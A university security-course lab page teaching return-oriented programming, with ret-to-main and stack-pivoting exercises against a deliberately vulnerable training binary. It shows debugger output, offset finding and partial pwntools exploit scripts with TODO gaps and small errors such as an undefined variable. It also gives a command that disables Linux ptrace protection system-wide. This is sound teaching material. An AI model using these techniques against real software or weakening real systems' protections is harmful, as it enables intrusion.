Lab 09 - Return-Oriented Programming (Part 2)

Introduction

In this lab, we will resume from where we left off our last session.

In many real-life cases you will encounter, a vulnerability will consist of a small buffer overflow, which will not allow you to chain a list of gadgets of arbitrary length. However, there are techniques to circumvent this. Today, we will look at two of these techniques.

Ret-to-vuln

Should you need to ret to multiple functions, but you only have space for two or three, then you can choose to return to main again, or to the function in which the bug is present.

Stack pivoting

A more elegant solution is to “pivot” the stack. Suppose there are additional constraints imposed such that it is impossible to return and repeat the overflow.

Pivoting the stack basically means getting RSP to point elsewhere in memory, preferably a read-writable location which we control.

Supposing we find such a region in memory, we can simply return to a call read and simulate a call to read(0, pivot, size);. The pivot address will contain a fabricated stack containing a ropchain of (nearly) arbitrary size.

But how do we get RSP to point to a different region in memory? If you think about the leave instruction, which roughly does the following, you will begin to see an answer:

mov rsp, rbp
pop rbp

Hence, when we overwrite the stored frame pointer, we can set its value to where we'll want ESP to point to.

Tasks

All content necessary for the CNS laboratory tasks can be found in the CNS public repository.

1. Return to main

Inspect the source file ret_to_main.c. See if you can spot the vulnerability.

The goal of the task is to get the contents of the flag file through the binary. In order to do this, we need to chain three functions together.

Tutorial: Finding the return address offset

# gdb ./ret_to_main
gdb-peda$ pattc 0x40
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAH'
gdb-peda$ r
Starting program: /cns/lab-11/sol/ret_to_main
Welcome to our Retired Old Programmers message board!
Please leave a message:
AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAH
 
Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
RAX: 0x40 ('@')
RBX: 0x0
RCX: 0x7ffff7ee1881 (<__GI___libc_read+17>:     cmp    rax,0xfffffffffffff000)
RDX: 0x40 ('@')
RSI: 0x7fffffffe490 ("AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAH\310\345\377\377\377\177")
RDI: 0x0
RBP: 0x4147414131414162 ('bAA1AAGA')
RSP: 0x7fffffffe4c8 ("AcAA2AAH\310\345\377\377\377\177")
RIP: 0x4012b4 (<play+55>:       ret)
R8 : 0x19
R9 : 0x7ffff7f315e0 (<__memcpy_ssse3+6720>:     mov    r10,QWORD PTR [rsi-0x18])
R10: 0x400443 --> 0x6474730064616572 ('read')
R11: 0x246
R12: 0x401090 (<_start>:        xor    ebp,ebp)
R13: 0x7fffffffe5c0 --> 0x1
R14: 0x0
R15: 0x0
EFLAGS: 0x10203 (CARRY parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x4012a9 <play+44>:  mov    edi,0x0
   0x4012ae <play+49>:  call   0x401050 <read@plt>
   0x4012b3 <play+54>:  leave
=> 0x4012b4 <play+55>:  ret
   0x4012b5 <main>:     push   rbp
   0x4012b6 <main+1>:   mov    rbp,rsp
   0x4012b9 <main+4>:   sub    rsp,0x10
   0x4012bd <main+8>:   mov    DWORD PTR [rbp-0x4],edi
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffe4c8 ("AcAA2AAH\310\345\377\377\377\177")
0008| 0x7fffffffe4d0 --> 0x7fffffffe5c8 --> 0x7fffffffe7fa ("/cns/lab-11/sol/task1")
0016| 0x7fffffffe4d8 --> 0x100000000
0024| 0x7fffffffe4e0 --> 0x4012e0 (<__libc_csu_init>:   push   r15)
0032| 0x7fffffffe4e8 --> 0x7ffff7e1cbbb (<__libc_start_main+235>:       mov    edi,eax)
0040| 0x7fffffffe4f0 --> 0x7ffff7fac4d8 --> 0x7ffff7e1c4a0 (<init_cacheinfo>:  push   r15)
0048| 0x7fffffffe4f8 --> 0x7fffffffe5c8 --> 0x7fffffffe7fa ("/cns/lab-11/sol/task1")
0056| 0x7fffffffe500 --> 0x1f7f795a8
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x00000000004012b4 in play ()
gdb-peda$
gdb-peda$ patto bAA1AAGA
bAA1AAGA found at offset: 48

Our $rbp is at offset 48 ⇒ the return address will be at offset 56.

Tutorial: Opening the flag file and returning to main

Let's think about how a small ropchain needs to look like if we want to: 1. Return to the function which opens the flag file. 2. Pass it the correct argument. 3. Return to main afterwards.

We'll need to save a few useful addresses:

# nm ret_to_main | egrep "main|stop|right|there|play"
 
00000000004012b5 T main
000000000040127d T play
00000000004011da T right
0000000000401172 T stop
000000000040124b T there

Let's start writing our exploit script.

#!/usr/bin/env python
from pwn import *
 
io = process('./ret_to_main')
 
# Useful values
ret_offset = 56
main_addr = 0x4012b5
play_addr = 0x40127d
open_flag = 0x401172
 
# Construct payloads
payload_to_ret = 'A'*ret_offset
 
payload1 = payload_to_ret
payload1 += TODO (pop rdi gadget) 
payload1 += p64(open_key)
payload1 += p64(open_flag)
payload1 += p64(main_addr)
 
 
 
io.recvline()
io.recvline()
io.sendline(payload1)
 
io.interactive()

Let's test this code to see if it works:

# ./test.py 
[+] Starting local process './ret_to_main': Done
[*] Switching to interactive mode
-> secret vault opened
Welcome to our Retired Old Programmers message board!
Please leave a message: 
$ 
[*] Stopped program './ret_to_main'

Reading and printing the flag

Build two more similar payloads to send, one to return to the function which reads the contents of the flag and another which prints the flag. Remember to return to main in order to be able to chain the two together.

2. Stack pivoting

For this task, we will be using the same binary. This time, we will pivot the stack before supplying our ROP chain.

Tutorial: Finding a place to pivot

We can use gdb-peda to see the memory mappings of a binary at runtime.

gdb-peda$ start
gdb-peda$ vmmap
Start              End                Perm	Name
0x00400000         0x00403000         r-xp	task1
0x00403000         0x00404000         r-xp	task1
0x00404000         0x00405000         rw-p	task1
0x00007ffff79e4000 0x00007ffff7bcb000 r-xp	/lib/x86_64-linux-gnu/libc-2.27.so
0x00007ffff7bcb000 0x00007ffff7dcb000 ---p	/lib/x86_64-linux-gnu/libc-2.27.so
0x00007ffff7dcb000 0x00007ffff7dcf000 r-xp	/lib/x86_64-linux-gnu/libc-2.27.so
0x00007ffff7dcf000 0x00007ffff7dd1000 rwxp	/lib/x86_64-linux-gnu/libc-2.27.so
0x00007ffff7dd1000 0x00007ffff7dd5000 rwxp	mapped
0x00007ffff7dd5000 0x00007ffff7dfc000 r-xp	/lib/x86_64-linux-gnu/ld-2.27.so
0x00007ffff7fd3000 0x00007ffff7fd5000 rwxp	mapped
0x00007ffff7ff7000 0x00007ffff7ffa000 r--p	[vvar]
0x00007ffff7ffa000 0x00007ffff7ffc000 r-xp	[vdso]
0x00007ffff7ffc000 0x00007ffff7ffd000 r-xp	/lib/x86_64-linux-gnu/ld-2.27.so
0x00007ffff7ffd000 0x00007ffff7ffe000 rwxp	/lib/x86_64-linux-gnu/ld-2.27.so
0x00007ffff7ffe000 0x00007ffff7fff000 rwxp	mapped
0x00007ffffffde000 0x00007ffffffff000 rwxp	[stack]
0xffffffffff600000 0xffffffffff601000 r-xp	[vsyscall]

The region beginning at 0x00404000 looks suitable, but just to be safe, let's not choose the starting address.

gdb-peda$ x/100g 0x00404000
0x404000:	0x0000000000403e20	0x00007ffff7ffe170
0x404010:	0x00007ffff7dec680	0x0000000000401036
0x404020:	0x0000000000401046	0x0000000000401056
0x404030:	0x0000000000401066	0x0000000000401076
0x404040:	0x0000000000401086	0x0000000000000000
0x404050:	0x0000000000000000	0x0000000000000000
0x404060 <stdout@@GLIBC_2.2.5>:	0x00007ffff7dd0760	0x0000000000000000

gdb-peda$ x/100g 0x00404400
0x404400:	0x0000000000000000	0x0000000000000000
0x404410:	0x0000000000000000	0x0000000000000000
0x404420:	0x0000000000000000	0x0000000000000000
0x404430:	0x0000000000000000	0x0000000000000000
0x404440:	0x0000000000000000	0x0000000000000000
0x404450:	0x0000000000000000	0x0000000000000000
0x404460:	0x0000000000000000	0x0000000000000000

Apart from the reason that values are not zero at the starting address, there's also the risk of the stack pointer going off bounds into values lower than the starting address, where there is no write permission.

Tutorial: First stage payload

We need to find a sequence of instructions akin to:

call read
leave
ret

If we look around in the disassembled functions, we notice that play has just what we need at the end:

   0x00000000004012ae <+49>:	call   0x401050 <read@plt>
   0x00000000004012b3 <+54>:	leave  
   0x00000000004012b4 <+55>:	ret 

We will use this sequence to pivot the stack.

Our payload must do a call to read(0, pivot, size);, so the registers should look as follows when reaching ret:

[RSP-8]  <pivot-8>       # Overwrite RBP
[RSP]    <call read>
[RDI]  0x0             # stdin
[RSI]  <pivot>         # "buffer"
[RDX] 0x200           # size

You might not find a pop rdx gadget in the binary, but luckily the rdx register is not changed after the read call in the main program so it should have a large enough value already set.

With all the pieces in place, we should have a working pivoting payload:

#!/usr/bin/env python
from pwn import *
 
io = process('./task1')
 
# Useful values
ret_offset = 56
call_read = 0x401050
pivot = 0x404000
 
 
# Construct payloads
 
payload1 = 'A'*(ret_offset - 8)
payload1 += p64(pivot-8)
payload1 += TODO  #pop rdi; ret
payload1 += p64(0)
payload1 += TODO  #pop rsi; ret
payload1 += p64(pivot)
payload1 += TODO  #pop rdx; ret
payload1 += p64(100)
 
payload1 += p64(call_read)
payload1 += p64(0x4012b3) (leave after read)
 
log.info(io.recvline())
log.info(io.recvline())
gdb.attach(io)
raw_input("Send payload?")
io.sendline(payload1)
 
io.interactive()

In order to see pivoting in action, do the following:

# ./test.py
[+] Starting local process './task1': Done
[*] Welcome to our Retired Old Programmers message board!
[*] Please leave a message: 
[*] running in new terminal: gdb -q  "/task1" 4770
[+] Waiting for debugger: Done
Send payload? 

This will spawn a new gdb-peda window. Set a breakpoint at the return address of play (0x0804862c) then continue. In the other window (the one waiting for you to answer Send payload?), hit Enter. You will notice gdb hits the breakpoint and now you can single step (via ni).

There is an issue in the stations in the lab when running GDB/PEDA from pwntools. The issue is signaled at this link. You will have to issue the command below to solve the issue

echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope

Once you reach call read, gdb will block. In the pwntools interactive window, give an input such as AAAAAAAA to complete the read call and unblock gdb. Continue stepping until you reach the leave instruction. Notice how the value of rbp+8 gets written over rsp. The following ret instruction will take you to your pivot address, at which you will find your AAAAAAAA.

Second stage payload

Now you are set to write a fully working ropchain to sequentially call the three functions in order to open, read and print the contents of the flag file.

Resources

cns/labs/lab-09.txt · Last modified: 2022/12/05 13:36 by mihai.dumitru2201
CC Attribution-Share Alike 3.0 Unported
www.chimeric.de Valid CSS Driven by DokuWiki do yourself a favour and use a real browser - get firefox!! Recent changes RSS feed Valid XHTML 1.0